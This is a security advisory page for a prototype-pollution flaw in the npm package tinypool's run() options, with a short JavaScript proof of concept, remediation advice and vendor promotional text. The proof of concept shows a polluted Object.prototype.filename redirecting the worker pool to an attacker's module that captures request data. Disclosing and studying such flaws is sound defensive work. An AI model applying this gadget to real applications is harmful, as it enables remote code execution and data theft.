Summary
Tinypool: Prototype Pollution Gadget to RCE in run() options
tinypool is a fork of piscina and inherited the same prototype-pollution surface. When pool.run(task, options) is called, the filename option is read from the provided options object. If that object does not have an own filename property, the lookup falls through to Object.prototype.
An attacker who can pollute Object.prototype.filename (for example, via a vulnerable lodash.merge, qs.parse, or similar elsewhere in the application) can make tinypool load and execute an attacker-controlled worker module.
This is the tinypool counterpart to the piscina root discovery GHSA-x9g3-xrwr-cwfg.
pool.run(task) with no second argument is not affected, because kDefaultOptions.filename is null and the options object is not user-controlled. The exploit only triggers when the caller passes their own options object to pool.run().
Proof of Concept
// legitimate-worker.mjs
export default async (task) => ({ by: 'legitimate-worker', processed: task })
// malicious-worker.mjs
export default async (task) => ({ by: 'attacker', stolenRequestBody: task })
// main.js
import express from "express";
import Tinypool from "tinypool";
import { fileURLToPath } from "node:url";
import path from "node:path";
const __dirname = path.dirname(fileURLToPath(import.meta.url));
// Simulate upstream prototype pollution (lodash merge, qs parse, etc.)
Object.prototype.filename = path.join(__dirname, "malicious-worker.mjs");
const pool = new Tinypool({
filename: path.join(__dirname, "legitimate-worker.mjs"),
});
express()
.use(express.json())
.post("/", async (req, res) => {
const ac = new AbortController();
const result = await pool.run(req.body, { signal: ac.signal });
res.json(result);
})
.listen(31337);
Impact
Arbitrary JavaScript execution in the worker pool. If the application passes attacker-controlled data as the run() task and also supplies a run() options object, the attacker can redirect execution to a malicious worker that exfiltrates or modifies that data, achieving remote code execution and/or data exfiltration.
Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Read all user-supplied options from own properties only (Object.hasOwn or Object.prototype.hasOwnProperty.call) and build the internal ThreadPool.options object with a null prototype.
Frequently Asked Questions
- What is CVE-2026-104849? CVE-2026-104849 is a critical-severity code injection vulnerability in tinypool (npm), affecting versions < 2.1.2. It is fixed in 2.1.2. Untrusted input is evaluated as executable code within the application's runtime environment.
- Which versions of tinypool are affected by CVE-2026-104849? tinypool (npm) versions < 2.1.2 is affected.
- Is there a fix for CVE-2026-104849? Yes. CVE-2026-104849 is fixed in 2.1.2. Upgrade to this version or later.
- Is CVE-2026-104849 exploitable, and should I be worried? Whether CVE-2026-104849 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-104849 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-104849? Upgrade
tinypoolto 2.1.2 or later.